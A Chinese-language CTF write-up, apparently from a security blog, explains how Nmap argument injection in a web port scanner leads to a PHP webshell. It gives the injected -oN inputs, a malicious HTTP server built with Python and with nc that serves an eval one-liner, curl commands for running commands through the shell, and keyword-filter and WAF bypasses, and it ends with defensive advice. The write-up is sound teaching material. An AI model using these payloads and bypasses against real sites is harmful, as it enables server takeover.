ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Nmap参数注入到Webshell:CTF靶机实战拆解

Nmap参数注入到Webshell:CTF靶机实战拆解

整理靶机复现笔记时,又翻到一道Nmap相关的CTF题。表面看就是个在线端口扫描器:输入IP、提交、回显扫描结果。可就是这种平平无奇的功能,硬生生走出了“参数注入 → 文件写入 → Webshell”的攻击链。刚入门的朋友很容易在这类题上卡住,因为试;id、|cat /flag全被拦,方向完全带偏。

其实这道题根本不考命令拼接,考的是你懂不懂Nmap自身参数的破坏力——-oN能把扫描结果写到你指定的文件,-sC会把目标服务器的HTTP响应原样打出来。两者一组合,等于给攻击者开了一扇写文件的门。这篇文章就把整套思路、原理和实操动作拆开讲清楚,适合CTF新手、Web安全入门者,也适合想在真实业务里排查同类问题的同学参考。

1. 题目分析与攻击面拆解

1.1 这题表面是个扫描器,实际考的是参数空间

先说题目长什么样。通常是一个网页表单,要求你提交一个IP地址或者域名,后端拿到这个输入后拼进Nmap命令执行,最后把扫描结果回显到页面上。用户侧接触到的就是一个“在线端口扫描”的小工具。

很多新手拿到这种题,第一反应是试命令注入:输入127.0.0.1;id,结果被过滤;换|、&&、||,也被拦截。卡在这里就不知道下一步了。其实这类题的核心考点压根不在“能不能拼新命令”,而在“能不能往Nmap命令里塞进额外参数”。比如后端执行的是:

$host = $_REQUEST['host']; $cmd = 'nmap ' . $host; system($cmd);

注意这段代码是伪代码示意,真实题目会有不同的过滤方式。但它揭示了一个容易被忽略的事实:只要用户输入里带空格,就能新增一个Nmap参数。你提交127.0.0.1 -h,实际执行的就是nmap 127.0.0.1 -h,Nmap会打印帮助信息;你提交127.0.0.1 -oN shell.php,实际执行的就是nmap 127.0.0.1 -oN shell.php,扫描结果会被写到shell.php里。这就是参数注入,也叫“参数走私”。

这道题的考点拆开看有三层。第一层是你有没有参数注入的意识,知道分号管道被过滤不代表结束;第二层是你懂不懂Nmap的输出参数,知道-oN能把扫描结果写到任意路径;第三层是你能不能让写入的文件内容可控,最终变成可执行的Webshell。三层做完,题就解了。

1.2 Nmap为什么天生就是个攻击面

Nmap是个功能极强的网络扫描工具,恰恰因为功能强,它的参数非常多,而且很多参数都能对外部产生副作用。安全里常说“攻击面”,Nmap自己就长满了攻击面。

举几个常见的参数群:

  • -oN、-oX、-oG、-oA:把扫描结果写到文件
  • --script、--script-args:加载自定义脚本并传参
  • -iL:从文件读取要扫描的目标列表
  • --append-output:把结果追加到已有文件而不是覆盖
  • --datadir:指定数据目录,影响脚本和指纹库加载

单独看,每个参数都是正常功能。但放到“用户输入可以控制参数”的场景里就不一样了。拿我们最关心的-oN来说,它允许你把输出写到任意文件,既可以是相对路径的shell.php,也可以是绝对路径的/var/www/html/shell.php,甚至可以配合../做目录穿越。一旦web服务对write有权限,这个文件就等于直接送到了网站目录下。

打个不恰当但容易理解的比方。你让快递员去送一件快递,快递员只会做送快递这件事;但你发现快递员口袋里其实带着一卷封箱胶带,而这卷胶带恰好能帮你把某个不该粘的东西粘到收件人门口。Nmap的普通功能就是“送快递”,但-oN这个参数就是那卷胶带。你没法让快递员帮你开车,但他从口袋里掏出胶带这个动作本身,已经足够改变局面。

1.3 后台过滤模型决定了你的解题路线

不同题目对用户输入的过滤策略不一样,解题路线的差异也主要在过滤上。我根据经验把常见过滤模型和可利用空间整理了一下:

过滤策略拦截内容可利用空间典型绕过思路
黑名单分号和管道;|&空格可注入参数直接用Nmap参数完成目标
过滤常见参数关键字-oN-oX其他参数仍可达换-iL、--script等
只允许IP格式非数字和点参数空间被压死换其他入口或解析层绕过
过滤文件扩展名.php可写文件但类型受限换.phtml、.php3等
无过滤无满参数空间一条链直接打通

这个表是经验总结,不能直接套所有题,但思路是通用的。绝大多数题目不会做到“只允许IP格式”那么严格,因为用户输入里还得带端口号,后端往往懒得做那么细。所以最常见的情况是:分号和管道被过滤了,但空格和参数没过滤干净。对攻击者来说,这已经够了。

2. 核心原理:参数注入,怎么变成文件写入

2.1 参数注入和命令注入到底哪里不一样

很多刚接触的人会把“命令注入”和“参数注入”混在一起。命令注入的本质是让shell解释器执行额外命令,所以要靠shell语法里的分隔符,比如;、|、&&、||、换行符等。

参数注入的本质则完全不同。它不需要任何shell分隔符,只需要空格就够了。空格在shell里会把一个字符串拆成多个独立字段,第一个字段是要执行的程序名,后面的字段都是参数。所以nmap 127.0.0.1 -oN shell.php这段字符串,shell会把127.0.0.1和-oN、shell.php分别当成Nmap的三个独立参数,而不是一个整体。

这个区别很重要,因为它直接决定了防御思路。黑名单如果只拦截;、|、&,对参数注入完全无效。哪怕你把;、|全过滤掉,一个空格就能让攻击者把Nmap的任意参数塞进去。除非后端能把整个用户输入强制解析成一个严格合法的IP,否则漏洞几乎不可避免。

理解到这个层面,再看这类题就不会往命令拼接的死路上钻了。你要做的事不是“阻止Nmap执行”,而是“告诉Nmap去做某件事”——让它把扫描结果写到指定文件,这件事本身就是攻击。

2.2-oN输出参数解剖

-oN是Nmap普通输出(normal output)的缩写,语法是-oN <文件名>。执行后,Nmap会把标准输出重写到指定文件,同时终端也会显示一份。

文件名可以是相对路径。注意,相对路径是相对于Nmap进程的当前工作目录,不是相对某个固定目录。在很多CTF题目中,web服务和Nmap进程可能共享同一个用户,或者工作目录恰好落在web根目录附近。这就是为什么-oN shell.php有时候能成功写到网站根目录下的原因。

如果你不确定相对路径写哪了,直接用绝对路径更稳。比如题目环境是Apache默认站点,目录一般是/var/www/html,那提交-oN /var/www/html/shell.php就能确保文件落在web可达位置。如果这个目录没权限,再考虑/tmp或者其他可写目录,但那样文件没法直接被web解析,后续还要配合其他手段读出来。

有个容易忽略的细节:-oN不会自动加扩展名,你写shell.php就是shell.php,写shell.txt就是shell.txt。而文件内容完全取决于Nmap的扫描结果,这就引出了下一个关键问题——内容从哪来。

2.3 写入文件的内容从哪来

既然-oN把扫描结果写进文件,那关键就是:怎么让扫描结果里出现我们想要的内容。

正向思维是这样:Nmap的扫描结果包含目标主机信息、端口状态、服务版本、脚本输出等。其中服务版本检测(-sV)和默认脚本扫描(-sC)会真的往目标端口发请求,并抓取响应内容。也就是说,Nmap抓回来的内容,取决于目标服务器返回了什么。

攻击者可以自己起一个HTTP服务,让Nmap来扫这个服务。HTTP响应body里提前塞好PHP代码,Nmap扫描时会把响应内容原样打印到输出里,-oN又把输出写进文件。等于你让Nmap当了一次“搬运工”,把恶意内容从你的服务器搬到了目标网站的目录里。

这里有个理论基础:Nmap在处理HTTP响应时,不会把response body里的内容改得面目全非。它会把HTTP标题、响应头、部分body内容当作服务探测结果打印出来。对-sC脚本来说,http-title、http-headers这些脚本的输出里会直接包含body片段。所以PHP代码只要出现在你的HTTP响应里,很大概率会被完整带进-oN文件。

2.4 一条完整攻击链的梳理

把上面这些点串起来,攻击链就非常清楚了:

  1. 通过空格注入,在Nmap命令中追加参数-oN shell.php
  2. 指定扫描目标为攻击者自己控制的恶意HTTP服务
  3. 恶意HTTP服务返回包含PHP一句话代码的响应body
  4. Nmap执行端口探测/服务识别/脚本扫描,抓取到恶意body
  5. 扫描结果通过-oN写入shell.php
  6. 浏览器访问shell.php,PHP代码被服务器解析执行

整个过程里,攻击者没有执行任何“自定义命令”,只是让Nmap用它自己的功能完成了文件写入。这正是参数注入题的杀伤力所在。

3. 实操还原:一步步把Webshell写进去

3.1 信息收集:确认回显和注入可行性

拿到题目先别急着上payload,沉住气做三步探测。

第一步,提交一个正常IP,比如127.0.0.1。重点观察页面回显格式,是完整Nmap输出还是精简摘要。如果能看到Nmap的版本信息、扫描时间、端口状态等细节,说明输出没有被层层封装,这对后续判断非常有利。

第二步,提交127.0.0.1 -h。注意看回显是不是Nmap的帮助文档。如果是,说明空格和参数都没被过滤,参数注入直接成立。如果回显报“host无法解析”,说明后端可能把参数做了某种处理,需要再调整。

第三步,提交127.0.0.1 -oN test.txt。这一步是试探文件写入。如果执行后没有任何报错,甚至页面回显里有"Nmap scan report for 127.0.0.1",那大概率test.txt已经生成在某个目录了。当然文件名是临时的,关键是验证-oN参数有没有被接受。

注意一个细节:有些题目会把-oN这类关键字也过滤掉。探测时如果提交-oN被提示非法输入,那就换-oX、-oG试试。不同输出参数文件格式不同,但都能写入文件,后面同样可以解析执行。

3.2 搭一个恶意HTTP服务

环境确认OK后,开始准备恶意HTTP服务。我一般建议在你自己的主机或VPS上搭个简单的HTTP服务,内容就是PHP payload。

最简单的方式,用Python内置HTTP服务器:

mkdir -p /tmp/web cat > /tmp/web/index.html << 'EOF' <!-- <?php @eval($_POST["cmd"]);?> --> EOF cd /tmp/web python3 -m http.server 8080

为什么文件名用index.html而不是index.php?因为Python的http.server只是静态文件服务器,它不会执行PHP,后缀名无所谓。Nmap抓取的是HTTP响应内容,只要body里有那行PHP代码就够了。

为什么要在PHP代码外面加HTML注释<!-- -->?因为Nmap输出文件里除了你的payload,还会有大量扫描元数据,比如时间戳、IP、端口、脚本输出等。如果裸写PHP代码,很容易被这些元数据拆成两半,导致文件语法不正确。用HTML注释包裹一下,即使Nmap把payload夹在报告中间,PHP引擎从<?php开始解析,到?>结束,注释部分会被当成普通内容忽略。经验证明,这个包裹技巧能显著提高写入文件后的可用性。

如果你不想依赖Python,用nc手写HTTP响应也行:

printf 'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<!--\r\n<?php @eval($_POST["cmd"]);?>\r\n-->\r\n' | nc -l -p 8080

两种方案都实测可用。Python服务更稳定,nc更灵活,适合临时快速起一个。

3.3 触发扫描并写入Webshell

恶意服务起来了,接下来就是主菜。在题目页面提交:

你的服务器IP -p 8080 -oN shell.php

后端实际执行:

nmap 你的服务器IP -p 8080 -oN shell.php

这里有两个参数需要解释一下。

-p 8080指定只扫8080端口,避免Nmap默认扫1000个常见端口浪费时间。Nmap对每个开放的TCP端口都会做服务识别,如果只扫一个端口,响应速度会快很多,写入文件的过程也更可控。

-oN shell.php指定输出文件。如果题目web根目录是/var/www/html且当前工作目录恰好是它,那文件就会落在web目录下。如果发现访问不到,就用绝对路径再试一次:你的服务器IP -p 8080 -oN /var/www/html/shell.php。

等待扫描结束后,访问:

http://目标站/shell.php

如果你看到页面返回了Nmap的扫描报告文本,说明文件写入成功且能被web服务器正常访问。文件内容大概是这样的形式:

# Nmap 7.80 scan initiated Fri Jan 1 00:00:00 2025 as: nmap 你的服务器IP -p 8080 -oN shell.php Nmap scan report for 你的服务器IP Host is up (0.00026s latency). PORT STATE SERVICE 8080/tcp open http-proxy | http-title: |_ <!-- |_ <?php @eval($_POST["cmd"]);?> |_ --> ...

注意中间两行就是payload所在位置。PHP引擎解析整个文件时,会从<?php开始执行到?>结束,前后Nmap的元数据只是普通HTML文本。文件能访问,说明写入和目标路径都正确。

3.4 连接Webshell并验证

文件成功写入后,用webshell管理工具连接就行。配置时注意三件事:URL填http://目标站/shell.php,密码填cmd,类型选PHP。连接成功后,第一件事是读flag。

记住一条经验:flag不一定在网站根目录。常见的位置有/flag、/flag.txt、/var/www/html/flag、/home/flag等。直接执行一条find命令,把可疑文件全找出来:

find / -name "*flag*" 2>/dev/null

找到后直接cat看内容:

cat /flag cat /flag.txt cat /var/www/html/flag

如果目标是内网里的机器,还可以顺手用Nmap继续探测内网其他存活主机。不过CTF的flag一般就在本机,不用搞得太复杂。

3.5 变体思路:换个姿势写Webshell

有些时候-oN这条路走不通,但思路可以平移。比如:

  • 用-oX shell.php生成XML格式输出,同样可以写文件,只是文件头多了一堆XML标签
  • 用-oA shell同时生成三种格式,其中一个可能绕过扩展名过滤
  • 用--append-output -oN shell.php往已有文件追加内容,避免覆盖原有文件
  • 用-iL读文件路径作为扫描目标,如果能把目标列表写到文件里,也能构造出很多玩法
  • 用--script指定一个恶意NSE脚本文件路径,让Nmap加载脚本时执行更复杂的操作

知道这些不是为了炫技,而是因为真实题目环境千变万化,-oN只是最通用的一条路。掌握变体,遇到过滤时能及时换道。

4. 常见问题与排查实录

4.1 文件写出来了,但访问后是空白或直接下载

这是最常踩的坑。文件内容里虽然有<?php @eval($_POST["cmd"]);?>,但PHP代码被Nmap的元数据拆得七零八落,最终PHP引擎解析时报语法错误,页面直接空白。

排查方法是先用浏览器或curl查看文件原始内容:

curl http://目标站/shell.php

如果能看到类似# Nmap 7.80 scan initiated ...这样的扫描头,说明文件确实写进去了。问题就出在payload的位置不对。

解决办法有两个。一是把恶意HTTP响应的body里,payload前后各放一行注释标志,像前面示例那样用<!-- -->包住。二是更暴力的思路:把<?php写在HTTP响应的最开始,让Nmap在抓取服务信息时第一时间把它打出来。不过这样也不一定保险,因为Nmap可能会在payload前面加自己的横幅信息,所以实战中我更推荐注释包裹法。

还有一种稳妥的做法是让payload本身具备自闭合能力。比如用<?php ... ?>把代码包严,同时在代码前面放一些HTML内容,确保即使Nmap插了几行文本也不能影响PHP上下文。

4.2 关键字php、eval被过滤了怎么办

有些题目会对敏感关键字做简单过滤,最常见的是把php、eval、$_POST这些词直接替换或拦截。这时候不要头铁,换一种编码或拆分方式。

一个经典思路是用短标签<?= ?>,配合base64解码构造payload:

<?php @eval(base64_decode('ZmluZCAv...'));?>

如果eval本身被过滤,可以考虑用assert替换,或者用变量拼接:$a='ev'.'al'; @$a($_POST['cmd']);。有些题目的过滤只做了一次替换,字符串里套字符串就能绕过。

另一个思路是分两步走。先写一个不带敏感词的大马文件,比如纯HTML探针;再用探针确认写入内容,接着用Nmap的追加输出往同一个文件里补payload。虽然有风险,但实测下来,在不少题目环境里能走通。

4.3 shell.php路径权限不对,写入失败

如果访问/shell.php返回404,而你确定-oN参数没被过滤,那多半是文件写到了别处。Nmap进程的工作目录可能不在web根目录,或者web根目录对当前用户不可写。

此时优先改用绝对路径,把-oN指向web根目录:

你的服务器IP -p 8080 -oN /var/www/html/shell.php

不同站点的web目录不一样,Apache默认是/var/www/html,Nginx常见/usr/share/nginx/html,还有一些自定义路径。可以每次换一个路径试,直到访问成功。如果全试一遍都失败,看看能不能用-oN /tmp/shell.php写入,再通过其他漏洞把文件读出来。

注意:-oN参数支持目录穿越。如果你能确定某个目录可写但web根目录不可直接写,试试-oN /var/www/html/../html/shell.php这类写法。Linux下这个路径最终还是会落到/var/www/html,有时候能绕过目录权限检查。

4.4 蚁剑/工具连不上Webshell

文件也能访问,curl看代码也完整,但webshell管理工具就是连不上,这种情况也很常见。

先排查三件事。

第一,URL是否正确。很多人写成了http://目标站/var/www/html/shell.php,多加了路径前缀。直接从网站根目录开始写:http://目标站/shell.php。

第二,请求方法是否正确。一句话木马默认用POST传递参数,有的管理工具默认用GET,连不上很正常。手动验证时用curl加-d参数发POST请求:

curl http://目标站/shell.php -d 'cmd=id'

如果返回了uid=...,说明代码能执行,连接配置没问题。

第三,密码是否匹配。$_POST["cmd"]对应的password就是cmd,别填错。如果你把代码里的数组键名也改了,要同步修改工具里的密码。

4.5 题目有WAF时还能怎么绕

除了参数本身被过滤,有些题目会在前面架一层WAF,拦截常见攻击特征。测试的时候如果发现提交-oN没问题,但访问生成的shell.php时被拦,说明WAF重点在出口,不在入口。

WAF常见的拦截点有几个:URL中出现shell.php、请求body中出现eval、响应里包含一句话特征。绕法也分方向:

  • 文件名换策略:不叫shell.php,改成1.php、info.phtml、x.php3
  • 内容换策略:一句话不用eval,改用system、passthru、call_user_func组合
  • 路径换策略:把shell藏在/uploads/等目录,如果上传目录对PHP执行限制不严格
  • 请求换策略:POST数据用base64编码后再传给服务端解码

WAF这东西没有万能解,只能靠多试。CTF题目里遇到WAF,核心心态是别慌,把入口和出口分开排查,看具体拦在哪一层。

4.6 防御视角:怎么让这类漏洞不发生

解完题回头想,这道题暴露的问题在真实业务里也不罕见:只要有一个输入框拼接了系统命令,面就裂开了。

防御的核心是“别把用户输入直接拼进命令”。具体可以从几层下手。

最底层是禁掉命令执行入口。能用工具库实现的扫描需求,就不要用system("nmap ...")去调外部程序。比如PHP场景可以考虑用纯PHP写的端口扫描类库,或者把Nmap包装成独立权限的微服务,只暴露受控接口。

参数层要严格白名单。即使允许传IP和端口,也要在后端用正则把输入规约为^\d+\.\d+\.\d+\.\d+$和^\d+$,从源头让空格无法进入。哪怕多一个字符都直接拒绝。

权限层要最小化。Nmap进程不能以web服务器同权限运行,更不能拥有写web目录的权限。把输出目录限定到独立沙箱,扫描完成后再把结果转存到web可读目录。

最后是监控层。Web目录出现可疑新增文件,动态检测必须能发现。这类攻击的核心路径是写文件,文件监控往往比流量检测更早看见攻击行为。经验之谈,误报率也确实高,但宁可多报警也不能漏。

5. 一些实操后的个人体会

这道题走完一遍,收获最大的一点是意识到了“工具参数本身就是攻击面”。以前总以为漏洞在代码逻辑里,后来发现,只要工具功能够强,光靠输入参数就能造成写入、读取甚至执行。

我踩过几次坑之后,现在遇到类似题目会先列一个“工具能力清单”:这个工具能写文件吗?能读文件吗?能加载外部脚本吗?能指定扫描目标吗?每个能力对应一个参数,每个参数都有无限可能。Nmap只是其中一个典型,类似的工具大把存在。

按我个人经验,这类题最适合作为安全入门时的第二道“思维转换”题。第一道是SQL注入,让你明白输入能改变查询逻辑;这一道让你明白输入能改变命令的参数空间。两关过了,再去看命令注入的各种绕过手法,会觉得视角完全不一样。

如果你正在刷CTF题,建议把这题多玩几遍。先按文章思路解出来,再尝试不同的变体:换输出格式、换写入路径、换payload编码。纸上得来终觉浅,等你亲手把curl返回的uid打出来那一刻,这个知识点才算真正长在身上。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进